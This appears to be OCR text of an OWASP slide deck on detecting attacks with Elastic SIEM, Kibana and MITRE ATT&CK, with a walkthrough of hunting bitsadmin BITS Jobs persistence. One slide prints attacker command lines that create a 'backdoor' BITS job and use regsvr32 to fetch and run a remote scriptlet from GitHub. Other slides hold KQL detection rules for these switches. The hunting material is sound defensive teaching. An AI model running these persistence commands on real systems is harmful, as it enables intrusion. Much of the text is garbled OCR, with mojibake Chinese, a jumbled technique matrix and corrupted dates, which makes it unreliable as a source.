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Elastic HESemHYSRH-RAMMEFa

Endpoint exceptions
Create Yes
— 1 exception
Administer Hosts running
Endpoint ~{ Elastic Security
security policy Endpoint e
Rule excep!
Value lists
Timeline templates
Servers i— Detectio—n_rulﬂ |Lmelines
Network
monitoring
Key
[ systems )‘ detgg,j’j:?gnd Events, external Detection Create timeline False
@ : ; intelli engine Detection alerts investigation sitive?
_ preventions alerts, intelligence g / il po:
USEI‘ Elastic Common Schema
Process
R No
.,/ Backend \, [ ]
\pm Lessy KQL, ML External l
Lucene anomaly Threshold/ notifcations (email,
— Web proxies queries detections i Slack, PagerDuty. View by Host or T
Webhook) Network
Data Store
e — _J ? l
External
a’t‘:lior:: Threat hunting workflows
External systems
(Jira, ServiceNow,
P IBM Resillient)
< Decision > More data
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via Logstash, Beats Modules, Elastic Packages
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Source fields

Source fields describe details about the source of a packet/event.

Source fields are usually populated in conjunction with destination fields.

Field

source.address

source.ip

source.port
source.mac
source.domain
source.bytes

source.packets

Description

Some event source addresses are defined ambiguously. The
event will sometimes list an IP, a domain or a unix socket. You
should always store the raw address in the .address field.
Then it should be duplicated to .ip or .domain , depending
on which one it is.

IP address of the source.
Can be one or multiple IPv4 or IPv6 addresses.

Port of the source.

MAC address of the source.

Source domain.

Bytes sent from the source to the destination.

Packets sent from the source to the destination.

OWASP.ORG
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t geoip_remip.city_name @ Q@ [@ % Bogotd
t geoip_remip.continent_code @ @ M % SA
t geoip_remip.country_code2z @ Q@ [@ % CO
t geoip_remip.country_code3 @ Q@ (@D * CO

t geoip_remip.country_name @ Q [D % Colombia

O geoip_remip.ip Q Q[ % 200.31.77.163
# geoip_remip.latitude QQ* 4.649
@ geoip_remip.location o * { E mjor aaD#* 50
"lat": 4.6492 s
! malware_i fal
"lon": -74.0628 AT 4 & D% Hdlce
} t minor QQD* 0
# geoip_remip.longitude M * -74.063 i
geale P00 ki t name @ @ M * Firefox
t geoip_remip.region_code @ Q@D % DC
: - n t os @ Q [ * Ubuntu
t geoip_remip.region_name @ Q@ [ % Bogota D.C.
t geoip_remip.timezone @ Q [0 * America/Bogota t os_name @ Q [@ * Ubuntu

t geoip_remip_asn.as_org @ Q (D % SYNAPSIS COLOMBIA SAS

# geoip_remip_asn.asn @ QD * 27,975

t geoip_remip_asn.ip Q Q[0 * 200.31.77.163

t group Q QM % NA

t host @ Q [ * james-honeypot-logstash-demo
t level @ Q [@ * notice

t locip Q Q[ % 200.74.141.50

t Tlocport @ Q@ * See

logid 0101037122

(— \ r malware_ip false
r_J' Lj r.l _.) _-] msg negotiate IPsec phase 2 OWASP.ORG
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Techniques

MITRE ATT&CK -- BIEEHBEIR: HEEAIFE

Inttial Access

Executi~~

Persistence

.bashrc

Pri

vilege Escalation

Manipulation

Defense Evasion

Manipulation

Credential Access Discovery

Lateral Movement

llection

Exfiltration

Command and Control

CMSTP

Accessibility Features

Accessibility Features

BITS Jobs

Bash History

Application Window
Discovery

Application Deploymeant
Software

Automated Callection

Data Compressed

Communication Through

Removable Media

Command-Line Interface

AppCert DLLs

AppCert DLLs

Binary Padding

Brute Force

Browser Bookmark
Discovery

Distributed Component
Object Madel

Clipboard Data

Data Encrypted

Connection Proxy

Tactics

Control Panel ltems

Appinit DLLs

Applnit DLLs

Bypass User Account
Control

Credential Dumping

File and Directory
Discovery

Exploitation of Remote
Services

Data Staged

Data Transfer Size Limits

Custom Command and

Control Protocol

D7

Dynamic Data Exchange

Application Shimming

Application Shimming

CMSTP

Credentials in Files

Network Service
Scanning

Logon Scripts

Data from Information
Repositories

Exfiltration Over
|Alternative Protocol

Custom Cryptographic

Protocol

Spearphishing Link

Execution through API

Authentication Package

Bypass User Account
Control

Clear Command Histary

Credentials in Registry

Network Share Discovery

Pass the Hash

Data from Local System

Exfiltration Over
Command and Control
Channel

Data Encoding

Spearphishing via Execution through DLL Search Order B Exploitation for Password Policy Data from Network Exfiltration Over Other N
BITS Jobs ) ) (Code Signing ) Pass the Ticket ) Data Obfuscaticn
Service Module Load Hijacking Credential Access Discovery Shared Drive Network Medium
Supply Chain Exploitation far Client Peripheral Device Remote Deskto Data from Removable Exfiltration Over Physical
il Profat Bootiit Dyiib Hijacking Component Fimware  |Forced Authentication | P ' YS! | armain Fronting
Compromise Execution Discavery Protocol Media Medium

ITrusted Relationship

Graphical User Interface

Browser Extensions

Exploitation for Privilege
Escalation

‘Component Object
Model Hijacking

Haooking

Parmission Groups
Discavery

Remote File Copy

Email Collection

Scheduled Transfer

Fallback Channels

Valid Accounts

InstallUtil

Change Default File

Extra Window Memory

Control Panel Items

Input Captura

Process Discovery

Remote Services

Input Capture

Multi-Stage Channels

Association Injection
File System Permissions Replication Through
LSASS Driver Compoenent Firmware 4 DCShadow Input Prompt Query Registry P g Man in the Browser Multi-hop Proxy
Weakness Removable Media
Component Object . DLL Search Order N Remote System N Multiband
Launchetl Hooking Kerberoasting N SSH Hijacking Screen Capture
Model Hijacking Hijacking Discovery Communication
. Image File Execution Security Software ; .
Local Job Scheduling Create Account DLL Side-Loading Keychain Shared Webroot Video Capture Multilayer Encryption

Options Injection

Discovery

AR

Mshta

DLL Search Order
Hijacking

Launch Daemon

Deobfuscate/Decode
Files cr Information

LLMNR/NBT-NS
Poiscning

System Information
Discovery

Taint Shared Content

Port Knocking

PaowerShell

Dylib Hijacking

New Service

Disabling Security Tools

Network Sniffing

Systemn Network
Configuration Discovery

Third-party Software

Remote Access Tools

Fvtarnal Ramnta

Fvninitatinn far Nafanca

Quetam Nahunrs
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Home > Techniques > Enterprise > Phishing > Spearphishing Attachment

Phishing: Spearphishing Attachment

Other sub-techniques of Phishing (3) ~
D Name

T1566.001 Spearphishing Attachment

T1566.002 Spearphishing Link

T1566.003 Spearphishing via Service

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of
spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically
delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file

to the spearphishing email and usually rely upon User Execution to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon
opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly
executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file
should be opened, and may explain how to bypass system protections in order to do so. The email may also contain
instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses.
Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document

files, or files exploiting one application appear to be a file for a different one.

Procedure Examples
Name Description

admin@338 admin@338 has sent emails with malicious Microsoft Office documents attached.”!

ID: T1566.001
Sub-technique of: T1566

Tactic: Initial Access

Platforms: Linux, Windows, macOS

Data Sources: Detonation chamber, Email gateway,
File monitoring, Mail server, Network intrusion
detection system, Packet capture

CAPEC ID: CAPEC-163

o
VG

Version: 2.0
Created: 02 March 2020
Last Modified: 18 October 2020

Version Permalink

APT-C-36 APT-C-36 has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway.[ZJ

APT1 APT1 has sent spearphishing emails containing malicious attachments. !

https.//attack.mitre.org/techniques/T1566/001/

Open Web Application

Security Project

OWASP.ORG




Mitigations
Mitigation
Antivirus/Antimalware

Network Intrusion
Prevention

Restrict Web-Based

Content

User Training

Detection

TP %

Description B§{E§XB@

/ >

N | _— Bt
Anti-virus can also automatically quarantine suspicious files.

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block
activity.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors,
such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and
rar that may be used to conceal malicious attachments.

Users can be trained to identify social engineering techniques and spearphishing emails.

Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be
used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing
or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or
spawning Powershell.exe) for techniques such as Exploitation for Client Execution or usage of malicious scripts.

OWASP

Open Web Application
Security Project
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iR5! BITS Jobs Ay TTP XiHicH
« Tactic A : Persistence F7E (TA0003) - BEME: 2 FEAPAERIEES M TIEBAR, TEEXMERIRLE
« Technique #AK: BITS Jobs (T11197) - BIRIR: LEEIEAZE (Windows event ID 4688) #
+ Procedure ig18: KB E— I HSNMiE=L Sysmon event ID 1, HIPA
BiZH 1T bitsadmi.exe BEETHMMTESKD {EM bitsadmin.exe TERIEHRIELIF~=4E BITS (A

- BISMOERGFIEIEIR: T, BT CEARNENBEREEH
BEEIFEAIAD SIEM
FRYa B e - IR BEATIBEEIPAR Wiki
{Esdmik

EXNRIER, §—1EBHEBS bitsadmin.exe
BT XEEIZER T BITS Job fEXLMTTERAYER
REFTIBRANEE
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1£ Kibana EB¥§58 bitsadmin.exe AU

— 2 .
- L/
= %9 . Discover

New Save Open Share Inspect

Last 1 year Show dates C Refresh

[5] ~ | process.name:bitsadmin.exe

& + Add filter
Let's begin with a simple query to learn how
winlogbeat-* ' often bitsadmin.exe is executed in our 858 hits
= environment 983 - Jul 23, 2020 @ 11:33:58.983 —  Auto v
AR 4
) Filter by type 0 This is a quick search related to
environmental awareness
Selected fields
Source

Available fields

«ilalnantnniiininannain.atinbustatbunnanallunalials
Popular

2019-08-0 2019-080-01 2079 10-01 2019-11-01 2019-12-0% 2020-01-0 2020-02-01 020-03-0" 2020-04-01 2020-05-01 2020-06-01 2020-07-0

t eventaction

@timestamp per week
t event.module
Time « -source

t d
71 _ndex May 18, 2028 @ 15:43:58.025 process.neme: bitsadmin.exe Otimestamp: May 18, 2020 @ 15:43:50.025 message: A process has exited. Subject: Security ID

§-1-5-21-308926384-506822093-3341789138-1186 Account Name: a-jbrown Account Domain: 3B Logon ID: @x35C35 Process Information: Process ID: @xfdc
# _score Process Name: C:\Windows\System32\bitsadmin.exe Exit Status: Ox@ process.pid: 4868 process.executable: C:\Windows\System32\bitsadmin.exe
t type ecs.version: 1.4.@ event.action: exited-process event.created: May 18, 2020 @ 15:43:51.385 event.module: security event.category: process

Microsoft-Windows-Security-Auditing host.id: 1b3c7468-08d6-4527

event .type: process_end event.kind: event event.code: 4689 event.provider:

M @timestamp

r_J' A_J ri (:)‘ l'_] OWASP.ORG
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£ Kibana EB¥$J& bitsadmin.exe By

= l:..o . Visualize Create

Save Share Inspect

%) v | process.name:bitsadmin.exe KQL (& | Last1year Show dates C Refresh

+ Add filter

We can build visualizations in
Count Kibana to aggregate and sort
1 i bitsadmin.exe process events

| process.command_line: Ascending

bitsadmin /Resume backdoor

bitsadmin /addfile backdoor C:\Windows\system32\cmd.exe C:\Users\a-jbrown\AppData\Local\Temp\cmd exe

bitsadmin /create backdoor

. By exploring our data, we can

| bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe “/u /s fi:nttps://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.scr scrobl.di® 1 |dent|fy d nomalles or su Sp|C|OUS
CAWindows\System32\bitsadmin.exe /reset /allusers 312 EVentS tO mVEStlgate fU rther

491

CA\Windows\System32\bitsadmin.exe /?

bitsadmin.exe execution events
moin: nesd Sosiauendk with URLs in the command line
arguments are worth closer
inspection. Following up on these
leads can have a huge payoff

Ord

Ascending iz 10

OWASP

OWASP.ORG
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E Elastic SIEM - G 23 46 0 =8 i)

b) 522D
o« T KQL A BRI AR ]
process.name:bitsadmin.exe AND process.args(”/Transfer”OR “/Create”OR “/AddFile”"OR “/SetNotifyCmdLine”OR “/SetMinRetryDelay” OR “/Resume”)

- 1
A 1 . Signals (SIEM Detections) | o © @

@ Overview Hosts Network | Detections | Timelines
l

Detections | |

External alerts

Signal count

Stckby  signalrule.risk_score

OLUASP —
: Open Web Rpplication
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+ Elastic S

Janiy

(Tt

Rl pA

Define rule

Rule type

Q

Custom query

Use KQL or Lucene to
detect issues across

(’3'

Machine Learning

Select ML job to detect
anomalous activity.

indices.
s Selected Select
Index patterns Reset to default index patterns
winlogbeat-* > [ x )
Enter the pattern of Elasticsearch indices where you would like this rule to run. By default, these will include index patterns defined in SIEM advanced settings

Custom query

Import query from saved timeline

[¥) ~»  process.args:("/Transfer*" OR “/Create” OR “/AddFile" OR "/SetNotifyCmdLine" OR “/SetMinRetryDelay” OR “/Resume”) KQL

+ Add filter

OWASP
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C Refresh

Detections s ® Manage signal detection rules

Signal count

Signa}s Opeon signals  Closed signats

OLUASP —
. Open Web Rpplication

Security Project




Elastic Security 14 & & DI Re 1Y) 22 4 S BRI AT AL HE - &

il

REXTHr Nee=> FABTIE
BT EBER/RI ErNETERA] AR TR

7F) JLJASDP OWASP.ORG
Open Web Application
Security Project



SIEM & T2 o1

Z 8ENRPTREMNTIERIR
%@ elastic B—HEETHEHAF.

2t) OLUASP
5 Open Web Application
Security Project



